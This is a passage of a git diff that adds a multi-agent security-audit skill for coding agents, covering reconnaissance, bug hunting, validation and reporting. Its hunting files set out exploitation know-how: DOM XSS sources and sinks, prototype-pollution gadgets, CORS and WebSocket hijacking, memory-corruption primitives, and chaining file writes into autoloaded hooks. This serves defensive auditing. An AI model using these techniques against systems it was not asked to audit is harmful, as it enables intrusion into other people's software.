error message contains a field name, check whether the field is ever actually populated with sensitive data. A flag is not a finding — trace the impact before reporting. diff --git a/.agents/skills/security-audit/CLIENT-SIDE.md b/.agents/skills/security-audit/CLIENT-SIDE.md new file mode 100644 index 0000000..d5901bd --- /dev/null +++ b/.agents/skills/security-audit/CLIENT-SIDE.md @@ -0,0 +1,67 @@ +# Client-Side and Browser Hunting + +#### When to use this file + +Reach for this file when meaningful trust decisions or untrusted rendering happen in the browser: single-page apps, browser extensions, embedded webviews, and anything that renders attacker-influenceable content into the DOM, receives cross-window messages, opens WebSockets, or serves credentialed cross-origin responses. These bugs live in code the server never executes — the fragment after `#`, `window.name`, a `postMessage` payload — so server-side escaping and the classes in `ATTACK-CLASSES.md` don't cover them. + +Use alongside `ATTACK-CLASSES.md`. The injection class there covers server-side sinks; this file covers the browser-side source→sink paths, cross-origin trust, and UI-redress classes that only exist client-side. + +Pick the relevant classes based on Phase 1. Split per surface (DOM rendering, message/WebSocket handlers, auth-carrying endpoints) for large front-ends. + +## Core discipline (include in every agent prompt for this domain) + +``` +- Client-side taint needs a controllable SOURCE and an executing SINK on the client path. A source with no sink, or a sink fed only server-rendered trusted data, is not a finding. Name both and show untrusted data reaching the sink unsanitized. +- The impact must cross to a victim or cross an origin. XSS in the attacker's own DOM, or a "leak" of the attacker's own data, is not a finding. State whose session executes it or whose cross-origin data it steals. +- Framework auto-escaping is a real mitigation. React/Vue/Angular escape interpolation by default — the finding is where the code opts OUT (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrust*`, `$sce.trustAs*`). Do not report escaped interpolation. +- A missing header or attribute (X-Frame-Options, frame-ancestors, rel=noopener, SameSite) is only a finding with a concrete sensitive action behind it. A bare missing flag with no state-changing action or credentialed cross-origin read is a hardening note. +``` + +## DOM-based injection attack classes (subagent_type: `general`) + +**DOM-based XSS** +Trace client-side sources — `location.hash`/`search`/`href`/`pathname`, `document.referrer`, `window.name`, `postMessage` data, `document.cookie` — into execution sinks: `innerHTML`/`outerHTML`, `document.write`, `eval`, `Function`, `setTimeout`/`setInterval` with a string argument, `element.src`/`href` set to a `javascript:` URI, jQuery `$(...)`/`.html()`, or framework escape hatches (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrustHtml`). The bug is source→sink with no sanitization *on the client path*; server-side escaping never sees fragment or `window.name` data. + +**DOM clobbering** +Attacker-injected `id`/`name` attributes — surviving an HTML sanitizer that strips script but allows attributes — that shadow a global the script later reads (`window.config`, a `form.action`, a flag checked before initialization). Look for code reading `window.X`/`document.X` that an injected element named `X` can override. Requires a markup-injection sink that permits `id`/`name`. + +## Client-side trust and messaging attack classes (subagent_type: `general`) + +**postMessage origin trust** +A `message` handler that acts on `event.data` (writes the DOM, calls a privileged function, stores a token) without checking `event.origin` against an allowlist, or with a weak check (`indexOf`, `startsWith`, unanchored regex, `endsWith` on the host). Also the send side: `postMessage(data, '*')` leaking data to any embedder. Confirm the handler does something security-relevant with the data. + +**Cross-site WebSocket hijacking (CSWSH)** +A WebSocket handshake authenticated only by ambient cookies, with no `Origin` check and no per-session CSRF token — an attacker page opens a socket in the victim's authenticated context and reads/writes their data. Find the upgrade handler; check whether it validates `Origin` and binds to a token, not just the cookie. + +**CORS with credentials** +A server that reflects the request `Origin` into `Access-Control-Allow-Origin` while sending `Access-Control-Allow-Credentials: true`, or allowlists `null` or a weak suffix match — any origin then reads authenticated responses. The finding is reflection or weak-match *with credentials*, not a wildcard alone (`*` with credentials is rejected by browsers). + +## UI-redress and navigation attack classes (subagent_type: `general`) + +**Clickjacking** +A state-changing action (transfer, delete, grant, confirm) reachable in a framed page with no `X-Frame-Options: DENY`/`SAMEORIGIN` and no `frame-ancestors` CSP and no UI framebusting. A missing frame guard on a read-only page with no sensitive action is not a finding — require the action. + +**Reverse tabnabbing** +A link whose target is attacker-influenceable, opened with `target="_blank"`, letting the opened page rewrite `window.opener.location` to a phishing origin. Modern browsers imply `noopener` for `target="_blank"`, so this is a finding only where the code sets `rel="opener"` explicitly, uses `window.open` without `noopener`, or the threat model includes older browsers — check before reporting. + +**Client-side open redirect / navigation** +A navigation built from a client source (`location = params.get('next')`, `location.hash` fed into `location.href`, a router redirect) with no allowlist — including `javascript:`/`data:` schemes that promote the redirect into XSS. Distinct from a server open-redirect: the sink is in JS, so the server never sees it. + +## Prototype pollution attack classes (subagent_type: `general`) + +**Prototype pollution and gadget chain** +An attacker-controlled key (`__proto__`, `constructor.prototype`) reaching a *nested/recursive* write — a deep merge, `lodash.set`-style path assignment, `obj[a][b]=v` with an attacker-controlled segment, or a query-string parser that builds nested objects — that lands on `Object.prototype`. A plain `JSON.parse` or shallow `Object.assign` does NOT pollute. Require the recursive sink AND a gadget that reads the polluted property (an options object checked with `opts.isAdmin`, a template reading a config default, a sink that concatenates a polluted `src`). Pollution with no reachable gadget is not exploitable; the gadget is what turns it into XSS, auth bypass, or (in Node) RCE. + +## Universal moves (apply across the above) + +- **Start from the sink and walk back to a client source.** Grep the execution sinks (`innerHTML`, `eval`, `document.write`, `dangerouslySetInnerHTML`, `postMessage`, `new WebSocket`) and trace each argument back to `location`/`name`/`referrer`/message data. A sink fed only server-rendered trusted data is not a finding. +- **Server escaping ends where the fragment begins.** Data after `#`, plus `window.name` and cross-window messages, never reaches the server — so server-side filters can't see it. That blind spot is the DOM-XSS goldmine. +- **Enumerate the escape hatches.** In an auto-escaping framework, the candidate list *is* every `dangerouslySetInnerHTML`/`v-html`/`bypassSecurityTrust*`/`$sce.trustAs*` call. Start there. + +## Validation rules (apply before reporting ANY finding here) + +1. **Confirm a controllable source AND an executing sink on the client path.** Cite the source (`location.hash`, `event.data`, `window.name`) and the sink (`innerHTML`, `eval`, navigation), and show untrusted data reaching the sink without sanitization. A source with no sink, or a sink fed only trusted data, is not a finding. +2. **For prototype pollution, prove the recursive write AND a gadget.** Show the nested/recursive assignment that reaches `Object.prototype`, then the code that later reads the polluted property to a security-relevant effect. Pollution with no reachable gadget is not exploitable. +3. **For messaging / CORS / WebSocket, show the origin check is absent or weak.** Cite the handler and the missing or `indexOf`/`startsWith`/unanchored-regex origin check, and that the data drives a security-relevant action or a credentialed cross-origin read. Reflection plus credentials, not a bare wildcard. +4. **For UI-redress, require the sensitive action behind the missing guard.** Name the state-changing action that gets framed (clickjacking) or the attacker-controlled `_blank` link (tabnabbing). A missing `X-Frame-Options`/`rel=noopener` with nothing sensitive behind it is a hardening note — and framebusting, `frame-ancestors`, or the browser's `noopener` default may already defeat it. Check before reporting. +5. **Return ONLY confirmed findings** with the client source→sink path and whose session it fires in — or "No exploitable client-side issues found" if that's honest. diff --git a/.agents/skills/security-audit/HUNTING.md b/.agents/skills/security-audit/HUNTING.md new file mode 100644 index 0000000..5ed47b9 --- /dev/null +++ b/.agents/skills/security-audit/HUNTING.md @@ -0,0 +1,110 @@ +# Vulnerability Hunting + +### Phase 2: Hunt for vulnerabilities + +Launch **multiple `general` agents in parallel** via the Task tool. Use `general`, not `research` — general agents can spawn their own sub-agents via the Task tool, so when a hunter finds a rabbit hole that needs deeper investigation (e.g., tracing injection into an auth subsystem it doesn't fully understand), it can spin up a focused `research` sub-agent rather than trying to do everything in one context window. + +Each agent gets the architecture summary from Phase 1 injected into its prompt plus the hunting methodology and validation rules. Launch them in a single message so they run concurrently. + +**How many agents?** Use Phase 1 to decide. More focused agents produce better results than broad ones that run out of context. For a small library, 3-4 agents may suffice. For a large application with distinct subsystems, launch 8-12+ — split by attack class AND by subsystem. If Phase 1 revealed an auth system, a plugin system, a media pipeline, and a comment engine, each of those could warrant its own injection agent, its own logic agent, etc. + +Every agent prompt MUST include: +1. The architecture summary from Phase 1 (copy it in verbatim) +2. The specific attack class and scope to investigate +3. Relevant file paths from Phase 1 as starting points +4. The hunting methodology (below) +5. The validation rules (below) + +#### Hunting methodology — include in every Phase 2 agent prompt + +Tell each agent to think like an attacker, not a code reviewer: + +``` +## How to hunt + +Don't just check if defenses exist. Try to break them. + +READ THE CODE AT DEPTH. Don't stop at the first function. Follow the data through +every layer — from the entry point through validation, transformation, storage, retrieval, +and output. Bugs live in the gaps between layers. + +Think about these angles: + +1. THE HAPPY PATH IS DEFENDED. ATTACK THE SAD PATH. + Error handlers, fallback branches, catch blocks, default cases, timeout paths, + retry logic, cleanup routines. What happens when things fail? Are errors handled + with the same rigor as success? Does a failed validation leave state half-modified? + +2. WHAT HAPPENS AT BOUNDARIES? + Empty input. Maximum-length input. Null vs undefined vs missing. Zero. Negative numbers. + Unicode edge cases. The first item and the last item. One more than the maximum. Exactly + at the rate limit. The moment a token expires. + +3. WHAT DO COMPONENTS ASSUME ABOUT EACH OTHER? + Does the database layer assume the API layer validated input? Does the renderer assume + content was sanitized on write? Does the auth middleware assume routes register themselves + correctly? Find where trust is implicit and test whether it's justified. + +4. WHAT IF OPERATIONS HAPPEN IN THE WRONG ORDER? + Call step 3 before step 1. Call delete during create. Send the callback before the request. + Hit the confirmation endpoint without starting the flow. Replay a completed flow. + +5. WHAT IF TWO THINGS HAPPEN AT ONCE? + Two requests to the same resource. Modify while reading. Delete while iterating. + Publish while someone else is editing. Two users claiming the same unique resource. + +6. WHERE DO TWO PARSERS OR VALIDATORS DISAGREE? + Input accepted by the schema but rejected by the database. URL parsed differently by + the router vs the application code. Content-type header says one thing, body is another. + Filename extension vs MIME type vs magic bytes. + +7. WHAT SURVIVES A ROUND TRIP? + Data stored then retrieved — is it the same? Does encoding change? Does escaping + double-up? Is a relative path resolved differently on read vs write? Does serialization + lose type information? + +8. WHAT DOES THE CONFIGURATION CONTROL? + What happens when config is missing or default? Can an environment variable override a + security control? Does a feature flag disable validation? What's the security posture + during setup/first-run before config is complete? + +9. FOLLOW THE MONEY (OR THE PRIVILEGE). + For every operation that changes state, ask: who authorized this? Trace back to the + permission check. Is it checking the right permission? Is it checking against the right + resource? Is there a parallel path to the same state change that checks differently + or not at all? + +10. LOOK FOR LEAKED CONTEXT. + Error messages that reveal internal paths. Stack traces in production. Timing differences + that reveal whether a record exists. Response size differences. HTTP headers that + disclose versions. Debug endpoints that survived into production. + +11. WHAT PARAMETERS OVERRIDE SECURITY-RELEVANT DEFAULTS? + Where a default is safe but a user-supplied parameter can change it. Look for + every input that overrides a security-relevant default and check if the override + is gated by appropriate permissions. + +12. WHERE DO UNVERIFIED CLAIMS DRIVE TRUST DECISIONS? + Anywhere self-declared identity, capability, or metadata influences an access + or trust decision without independent verification. + +GO DEEP, AND PROVE IT. You can spawn sub-agents: if evaluating a candidate finding needs +deep understanding of a subsystem, use the Task tool to launch a research agent instead of +holding everything in one context. And where the code is locally runnable, don't just reason +about it — extract the suspect function into a minimal harness (or build and run the target) +and test the hypothesis directly. A reproduced result beats an argued one. + +YOUR SCOPE IS YOUR PRIMARY FOCUS, NOT A BOUNDARY. +If while investigating your assigned area you notice something wrong in a different +category — a permission issue while tracing injection, a race condition while reviewing +auth — report it. Don't ignore a bug because it's "not your area." Attackers don't +respect category boundaries. + +## Validation rules — apply before reporting ANY finding +1. You MUST construct a concrete attack (exact inputs, requests, or action sequence) +2. The attack MUST achieve meaningful impact (not just "learn field names" or "cause an error") +3. Check if another layer already prevents exploitation — if so, it's a hardening note, not a finding +4. If the baseline comparable has the same pattern, note whether it's been exploited there +5. If your exploit depends on parser/runtime behavior, verify against the relevant spec or implementation — do not reason from intuition. +6. Return ONLY confirmed findings with concrete attacks, or "No exploitable vulnerabilities found" if that's honest. +``` diff --git a/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md b/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md new file mode 100644 index 0000000..d138ddd --- /dev/null +++ b/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md @@ -0,0 +1,58 @@ +# Memory Safety, Binary, and Kernel Hunting + +#### When to use this file + +The attack classes in `ATTACK-CLASSES.md` are tuned for web apps, APIs, and services. Reach for *this* file when the target processes untrusted bytes in a memory-unsafe context: C/C++/Objective-C, Rust `unsafe`, kernel modules and drivers, parsers and decoders (image/video/font/archive/PDB), reverse-engineering and dev tooling, network daemons, firmware, and language runtimes/JITs. These targets fail differently from web apps — the bug is a memory corruption or a logic error in privileged code, not an injection or an access-control gap — so the hunt needs a different lens. + +Pick the relevant classes based on Phase 1. Split per subsystem for large targets. + +## Core discipline (include in every agent prompt for this domain) + +``` +- A buffer sized for the common case can still overflow on adversarial input. Verify every "this length is bounded" claim against the WORST case, not the happy path. +- "Huge count = guaranteed crash" is FALSE. An oversized copy length is size- and libc-dependent: it often faults, but the copy primitive can also wrap or land a short, scattered write first. Determine the actual write behavior before downgrading to DoS-only. +- Static offsets are a guess; the crash dump is truth. An unreproduced bug is not a bug — if you claim exploitability, say exactly which input reaches which sink and what the observable result is. +- Sanitizer silence ≠ safety where the deref is outside instrumented code (hand-written asm, JIT-emitted, intra-allocation). Don't trust a clean ASan run for those. +``` + +## Memory-safety attack classes (subagent_type: `general`) + +**Spatial: out-of-bounds read/write** +- **Length subtraction underflow** — a copy/loop bound is `a - b` (`uri.len - prefix`, `total - consumed`) where the attacker can make `b > a`. Negative → casts to ~SIZE_MAX. Map which bytes land where; don't assume "just a crash." +- **Operator-precedence / multi-term length errors** — an unparenthesized `+`/`-` length chain (`endp - begin + consume`) that silently over-adds when one term is attacker-sized. Audit each CALLER's value of the variable term — the common caller is often correct-by-accident on the zero path and survives testing. +- **`sizeof(*p)` vs `sizeof(element)` pointer-depth confusion** — an allocation/copy size computed one indirection too deep (`gid_t **` → `sizeof(*p)`=8 not 4). The bounds check passes because it uses the same wrong unit. Compiled tell: `shl $0x3` where `shl $0x2` was meant. +- **Wire-length into fixed stack buffer** — a function rebuilds a network/user blob into a fixed array using an attacker length field, with the bounds check missing/late or computed on the wrong headroom (a header pre-written into the buffer). Re-derive true headroom (size minus fixed prefix); confirm no guard precedes the copy. + +**Temporal: use-after-free / lifetime** +- **Embedded waiter-anchor freed without draining** — a struct embeds a list head (`selinfo`/`knlist`/timer/knote) reachable by unprivileged poll/select/kqueue, and a free path destroys it but skips the drain a wakeup path does. For every `selrecord(&obj->x)`, require a matching drain on EACH path that can free `obj`. +- **Cached raw pointer + reallocating owner** — a view caches `base+offset`, a grow/realloc path moves the backing store, and the invalidation walks only the *current* wrapper's view set while grow *replaces* the wrapper. The original view dangles. + +**Type confusion** +- **Read-and-write confusion → addrof/fakeobj** — a confusion that reads a pointer slot as a scalar (addrof) and writes a scalar into a pointer slot (fakeobj). The standard pivot of runtime/JIT exploitation; the prior art is about the PROBLEM CLASS (NaN-boxing, cached typed-array data pointer), not the specific target. +- **Hierarchical-walker leaf check skipped** — a page-table / nested / B-tree / extent walker checks the valid bit but not the leaf/size bit at level N, then descends treating an attacker-owned leaf as an interior node. + +**Value: uninitialized & oracle** +- **Uninitialized worst-case buffer + observable compare = read oracle** — a buffer sized to a MAX constant is partially written, then compared against attacker bytes with an attacker-controlled compare length where match/no-match is observable. No memory-disclosure bug needed; the gap between actual output and MAX-size is the leak window. Brute one byte/connection, hint the structural bits, parallelize. + +## Kernel & privileged-interface attack classes (subagent_type: `general`) + +- **User-copy bounds + double-fetch (TOCTOU)** — a syscall/ioctl/Mach-trap entry whose user-copy primitive (`copyin` / `copy_from_user`) brings attacker memory in, then re-reads the SAME user address after a check. Any fact derived from concurrently-mutable user memory and trusted on a later pass is a double-fetch even when each op is individually correct. +- **Object lifecycle / UAF (IOKit/OSObject and friends)** — unbalanced retain/release on an externally-reachable object; a method that releases on one path but a sibling dispatch (compat/fallback/ptrace) forgot it. Diff the duplicated dispatch paths. +- **Unchecked downcast / type confusion** — `OSDynamicCast` (or any tagged-union cast) whose result is used without a null check, or a selector/index into a dispatch table without a bounds check. +- **World-writable / under-permissioned powerful interface** — a device node, admin socket, or mgmt API exposed more broadly than its power, that validates the request SHAPE (index in range) but never the requester's AUTHORITY over the named resource. Danger = power × reachability; enumerate the surface reachable from the *actual* untrusted context first. +- **Validate-then-act-on-stale-state** — a fast path and a compat/ptrace/fallback path to the same operation where one copy forgot a guard the other performs. + +## Universal moves (apply across the above) + +- **Audit the incomplete fix.** A targeted patch is a high-signal pointer to a dangerous sink with the analysis already done. Read the diff → find the exact sink it hardened → scan the same function, parallel paths, and alternate callers for the SAME tainted-data-to-sink shape the patch missed. Incomplete fixes are their own bug class. +- **Trust asymmetry between two ends of a protocol.** A filter/verification/size-cap installed on one side of a connection but missing on the symmetric call on the other. Find the protective call → grep its mirror on the opposite role → if absent, the earliest unprotected pre-auth parse is the prize. A malicious server/MITM is a real attacker. +- **Chain a weak primitive.** A blocked path means you haven't found the right pivot, not that it's unexploitable. Always ask "what does this actually let me do, and what runs automatically once I can put bytes on disk?" (plugin dirs, autoload, `.git/hooks`, `conftest.py`). +- **Hunt where the crowd isn't.** The tools researchers themselves trust — debuggers, disassemblers, scanners, dev tooling — are under-audited and high-impact. Old code and obscure formats are gold. + +## Validation rules (apply before reporting ANY finding here) + +1. **Build a debuggable target first.** Wire in crash dumps + a debugger before you claim exploitability. You can't iterate on what you can't observe. +2. **Read the offset from the crash, not the disassembly.** Send a cyclic (De Bruijn) pattern; the faulting register values give the exact offset. A variable-length prefix (handle, optional field, padding) shifts the geometry off the static prediction. +3. **Prove a UAF by reclaim-and-compare** when the sanitizer is blind (asm/JIT/intra-allocation): trigger the dangling view, reclaim the freed region with a size-matched content-controlled allocation, write through the dangler, read the reclaimer back — aliasing either way proves it. +4. **Distinguish crash from exploitable.** For an OOB write, map which bytes land where and whether a security-relevant field is reachable; for a "huge count," prove the bounded-write case before calling it DoS-only. +5. **Return ONLY confirmed findings** with the exact input → sink path and the observable result, or "No exploitable memory-safety issues found" if that's honest. diff --git a/.agents/skills/security-audit/RECONNAISSANCE.md b/.agents/skills/security-audit/RECONNAISSANCE.md new file mode 100644 index 0000000..a903acc --- /dev/null +++ b/.agents/skills/security-audit/RECONNAISSANCE.md @@ -0,0 +1,46 @@ +# Reconnaissance + +### Phase 1: Understand the application + +Before looking for bugs, understand what you're auditing. This requires depth, not just a directory listing. Launch **multiple `research` agents in parallel** to map different aspects of the codebase: + +**Agent 1a: Overview, tech stack, and comparable baseline** +``` +Explore the codebase at <path>. Answer: +1. What is this application? What kind of software? (web app, API, CLI tool, library, daemon, desktop app, mobile backend, etc.) +2. Who uses it and how? (end users, developers, operators, other services) +3. What's the tech stack? (languages, frameworks, databases, runtime, deployment model) +4. What comparable mainstream software exists? What security tradeoffs does the comparable accept? +5. What's the high-level directory structure? +Return specific file paths for key entry points. +``` + +**Agent 1b: Trust boundaries and access control** +``` +Explore the codebase at <path>. Find and read ALL code related to: +1. Trust boundaries — where does untrusted input enter the system? (HTTP requests, CLI args, file reads, IPC, message queues, environment variables, config files, etc.) +2. Authentication — how do callers prove identity? (sessions, tokens, API keys, mTLS, Unix sockets, etc.) If there's no authentication, note that. +3. Authorization — how are permissions enforced? (middleware, decorators, capability checks, file permissions, etc.) If there's no authorization model, note that. +4. Privilege separation — does the code run as root? Drop privileges? Use sandboxing? Fork workers? +5. Any bypass mechanisms (dev-only modes, test helpers, setup flows, debug flags) +Return the trust model: who are the actors, what can each do by design, and which code enforces it. Include specific file paths and line numbers. +``` + +**Agent 1c: Input surface inventory** +``` +Explore the codebase at <path>. Produce a complete inventory of where external input enters the system: +1. Network-facing surfaces (HTTP endpoints, gRPC services, WebSocket handlers, TCP/UDP listeners, etc.) — list each with method/verb and purpose +2. File-based input (file uploads, config file parsing, log ingestion, import/export, etc.) +3. IPC and inter-service input (message queues, shared memory, Unix sockets, environment variables, CLI arguments) +4. User-generated content surfaces (anywhere users provide content that is stored and later rendered, served, or processed) +5. External integrations (OAuth, webhooks, third-party APIs, plugin loading, dynamic code execution) +6. All places where input reaches dangerous sinks (SQL/query builders, HTML/template output, file paths, shell commands, deserialization, eval, dynamic imports) +Return specific file paths. Be exhaustive. +``` + +Collect all three agents' outputs and synthesize them into `<output-dir>/architecture.md`: +- 1-2 page structured summary covering application type, tech stack, trust model, input surfaces, and baseline comparable +- Include the key file paths from all agents — these become the starting points for Phase 2 +- This document is injected verbatim into every Phase 2 agent prompt + +If Phase 1 agents reveal the codebase is larger or more complex than expected (e.g., plugin system, multi-tenant architecture, complex auth chains, multiple deployment targets), launch additional `research` agents to map those areas before proceeding. The quality of Phase 2 depends entirely on the quality of Phase 1. diff --git a/.agents/skills/security-audit/SKILL.md b/.agents/skills/security-audit/SKILL.md new file mode 100644 index 0000000..3484ac8 --- /dev/null +++ b/.agents/skills/security-audit/SKILL.md @@ -0,0 +1,108 @@ +--- +name: security-audit +description: Security audit of a codebase — web apps, APIs, services, CLI tools, libraries, daemons, and more. Use when asked to find security bugs, do a security review, audit for vulnerabilities, or pen-test the code. Focuses on exploitable issues with real impact, not theoretical concerns or industry-standard behavior. +--- + +# Security Audit + +You are a security auditor. Your job is to find **exploitable vulnerabilities with real impact**. + +## Platform terminology + +This skill is agent-neutral. In the methodology: + +- **Task tool** means the coding agent's delegation or sub-agent mechanism. +- **`research` agent** means a delegated agent optimized for focused codebase exploration and factual verification. +- **`general` agent** means a delegated agent that can investigate broadly and spawn focused research agents. +- **`subagent_type`** means the equivalent delegated-agent role supported by the current platform. + +Use the platform's equivalent capabilities while preserving the specified roles, parallelism, prompts, and independence boundaries. + +## Setup + +Before starting, establish two paths: +- **Target**: the codebase to audit (from the user's request or the current working directory) +- **Output directory**: where all audit artifacts go. Ask the user if not specified, or default to `~/security-audit-skill/<repo-name>/run-<N>` where `<N>` is the next unused integer (check what exists with `ls`). Create it if it doesn't exist. This ensures multiple runs against the same repo produce separate results. + +All files written during the audit go in the output directory: +- `architecture.md` — Phase 1 output, fed into Phase 2 agent prompts +- `REPORT.md` — human-readable report (Phase 4) +- `FINDINGS-DETAIL.md` — detailed data flows for MEDIUM+ findings (Phase 4) +- `findings.json` — machine-readable structured output (Phase 5) + +Subagents (Phases 1, 2, 3, 6) do NOT write files — they return results to you via the Task tool. You are responsible for writing all files to the output directory. + +### Coverage and prior runs + +Each audit run explores different code paths depending on which agents find what and where they dig. No single run finds everything. Testing shows the best single run finds roughly half the total vulnerabilities across multiple runs. + +**If prior runs exist** for the same repo (check `~/security-audit-skill/<repo-name>/`), read their `findings.json` files before starting Phase 2. Use them to: +1. **Skip known findings** — don't waste agents re-discovering the same status bypass. Mention prior findings in the report but focus hunting effort on new ground. +2. **Target gaps** — if prior runs focused heavily on injection and auth, weight this run toward business logic, creative attacks, and the wildcard agent. If prior runs missed public endpoints, focus there. +3. **Resolve disagreements** — if prior runs gave conflicting verdicts on the same finding, validate it definitively. + +Include a brief summary of prior runs in the architecture summary so Phase 2 agents know what's already been found. + +**If no prior runs exist**, note in the report that coverage improves with additional runs and recommend the user run the audit again to catch findings this run may have missed. + +## Core Principles + +### Only report what you can exploit + +Every finding must have a concrete attack scenario: who is the attacker, what do they do, and what do they get? "An attacker could theoretically..." is not a finding. "Send this request, get this result" is. + +### Confirm dynamically when you can + +This is a source-first audit, but a claim you can execute beats one you can only argue. Where the target is locally buildable — a parser, a library, a CLI, a native component — build and run it: reproduce the crash, run the payload, diff the two parsers on the same bytes. Better still, **extract the suspect code into a minimal standalone harness** and test the hypothesis in isolation — fuzz the one function, feed it the crafted input, watch what it does. Where confirmation needs infrastructure you don't have — a proxy chain, a live cache, production auth — you cannot confirm from source alone: mark it "requires deployment testing" and do not report it as confirmed. Dynamic evidence is what resolves the memory-safety and request-framing classes that static reading leaves ambiguous. + +### Determine the baseline dynamically + +In Phase 1, identify what this application is and what comparable applications exist. Use those comparables to calibrate -- not to dismiss findings, but to focus effort. If the comparable has the same pattern and it's been exploited there, that's a STRONGER finding, not a weaker one. If the comparable has the same pattern and nobody's ever exploited it in 20 years, you should understand why before reporting it. + +Do NOT hardcode a specific comparable. A CMS gets compared to other CMSes. An API gateway gets compared to other API gateways. A novel application may have no meaningful comparable. + +### Defense-in-depth gaps are not vulnerabilities + +If Layer A prevents the attack, the absence of Layer B is a hardening note, not a finding. Report it separately if you want, but do not inflate its severity. + +### Severity requires impact + +Severity is the combination of **likelihood** (how easy to exploit, what access is needed) and **impact** (what damage is achieved). Use both axes: + +- **CRITICAL**: Unauthenticated RCE, full database dump, admin account takeover without credentials +- **HIGH**: Authenticated RCE, SQL injection with data exfiltration, stored XSS that fires for all users, auth bypass. Also: any finding where the RBAC/permission model is *completely* defeated for an action — e.g., a user can perform an action that the system explicitly gates behind a higher role, and the action has real consequences (publishing content, deleting resources, modifying other users' data). +- **MEDIUM**: Targeted XSS requiring specific conditions, CSRF with meaningful state change, information disclosure of secrets/credentials. Also: business logic bypasses with real but limited consequences — e.g., the action is possible but requires authentication, or the impact is confined to the attacker's own data, or the bypass requires uncommon conditions. +- **LOW**: Information disclosure of non-secret data, DoS requiring sustained effort +- **INFORMATIONAL**: A confirmed but minimal-impact observation with no standalone exploit — useful mainly as a building block for another finding. Pure defense-in-depth gaps belong in hardening notes, not here. + +The key distinction between HIGH and MEDIUM for business logic findings: **does the finding defeat an explicit security boundary?** Defeating one — acting past a role the system explicitly enforces — is HIGH; a data inconsistency, a finding that requires privileged access to exploit, or one with limited blast radius is MEDIUM. + +If you cannot describe the concrete damage an attacker achieves, the severity is probably lower than you think. + +These principles are enforced operationally by the **validation rules in [HUNTING.md](HUNTING.md)** — the canonical bar every hunter applies before reporting a finding, and that Phase 3 re-applies adversarially. The domain companion files add domain-specific checks on top of that bar; they do not replace it. + +## Workflow overview + +Follow all six phases in order: + +1. **Recon** — Run Phase 1 from [RECONNAISSANCE.md](RECONNAISSANCE.md) to map the application's architecture, trust boundaries, and input surfaces. +2. **Hunt** — Use [HUNTING.md](HUNTING.md) for Phase 2 orchestration, methodology, and validation rules; select scopes from [ATTACK-CLASSES.md](ATTACK-CLASSES.md), which routes native, AI/LLM, HTTP-protocol/auth, and client-side targets to specialized companion files ([MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md), [AI-AND-LLM.md](AI-AND-LLM.md), [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md), [CLIENT-SIDE.md](CLIENT-SIDE.md)). +3. **Validate** — Use Phase 3 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to consolidate duplicates and independently try to disprove every finding. +4. **Report** — Use Phase 4 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to write `REPORT.md` and `FINDINGS-DETAIL.md`. +5. **Structured output** — Use Phase 5 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md), `report-schema.json`, and `validate-findings.cjs` to write and validate `findings.json`. +6. **Independent verification** — Use Phase 6 in [VALIDATION-AND-REPORTING.md](VALIDATION-AND-REPORTING.md) to verify every factual claim and reconcile all outputs. + +## Anti-Patterns to Avoid + +These are the mistakes that make security audits useless: + +1. **Listing everything that deviates from OWASP as a finding.** OWASP is a checklist, not a bug list. Every real application makes tradeoffs. +2. **Rating defense-in-depth gaps as HIGH/CRITICAL.** "Missing validateIdentifier where the query builder already quotes identifiers" is not HIGH severity. +3. **Ignoring the deployment model.** Rate limiting at the CDN layer is a valid architecture. Not every app needs application-level rate limiting. +4. **Treating designed behavior as a bug.** Understand the trust model before auditing. If the design says admins are fully trusted, admin-does-admin-things is not a finding. +5. **Padding the report with LOW findings to look thorough.** Ten LOWs don't make a useful report. Three MEDIUMs do. +6. **"Potential" findings without proof.** Either you can exploit it or you can't. If you need the word "potentially" or "theoretically", you haven't done enough research. +7. **Ignoring what the codebase does well.** If auth is solid, say so. It builds trust in the findings you DO report and helps the team prioritize. +8. **Constructing exploits from incorrect parser/runtime assumptions.** The most convincing false positives come from reasoning "the parser/runtime will interpret this as..." without verifying. If your exploit depends on parser or runtime behavior, cite the spec or test it. Don't assume. +9. **Skipping business logic and creative attacks.** The standard vulnerability classes (SQLi, XSS, SSRF) are what every scanner checks. The value of a manual audit is finding the things scanners can't: logic errors, state machine violations, chained attacks, implicit trust assumptions. +10. **Giving up too easily.** "The codebase uses parameterized queries so there's no SQL injection" is a lazy conclusion. Check EVERY use of sql.raw(). Check dynamic identifiers. Check search/FTS. Check if there's a code path that bypasses the query builder. Push. diff --git a/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md b/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md new file mode 100644 index 0000000..4e3dc0a --- /dev/null +++ b/.agents/skills/security-audit/VALIDATION-AND-REPORTING.md @@ -0,0 +1,109 @@ +# Validation, Reporting, and Verification + +### Phase 3: Validate findings + +Collect all findings from Phase 2 agents and **consolidate duplicates first**. Phase 2 deliberately overlaps agent scopes, so the same issue is frequently reported by more than one hunter — merge findings that share a root cause before validating, or you'll validate and report the same bug multiple times. For each remaining finding, launch a **separate `research` validation agent** that tries to disprove it. The hunting agents are biased toward finding things; the validation agents are biased toward killing false positives. This adversarial step is critical. + +For findings from the same attack surface, batch them into one validation agent. Launch validation agents in parallel where they cover independent areas. + +Each validation agent prompt should: +1. State the specific finding being validated (title, claimed attack, claimed impact) +2. Ask the agent to read the exact code paths and verify each step of the trace +3. Ask it to apply these tests (the adversarial, Phase 3 form of the canonical validation rules in [HUNTING.md](HUNTING.md) — here a separate agent tries to make each one fail): + +**Validation tests:** +1. **Exploitation test**: Read the actual code at each step of the trace. Does the data flow work as claimed? Can you construct the exact input (HTTP request, CLI invocation, API call, crafted file, etc.) that triggers this? +2. **Impact test**: What does the attacker actually get? If the answer is "they learn field names" or "they cause an error", that's not meaningful impact — not a finding on its own (at most a building block for a chain). +3. **Baseline test**: Does the identified comparable have the same pattern? If yes, has it been exploited? If never exploited in years of production use, understand why before reporting. +4. **Mitigation test**: Is there another layer that prevents exploitation? Check middleware, database constraints, framework defaults. +5. 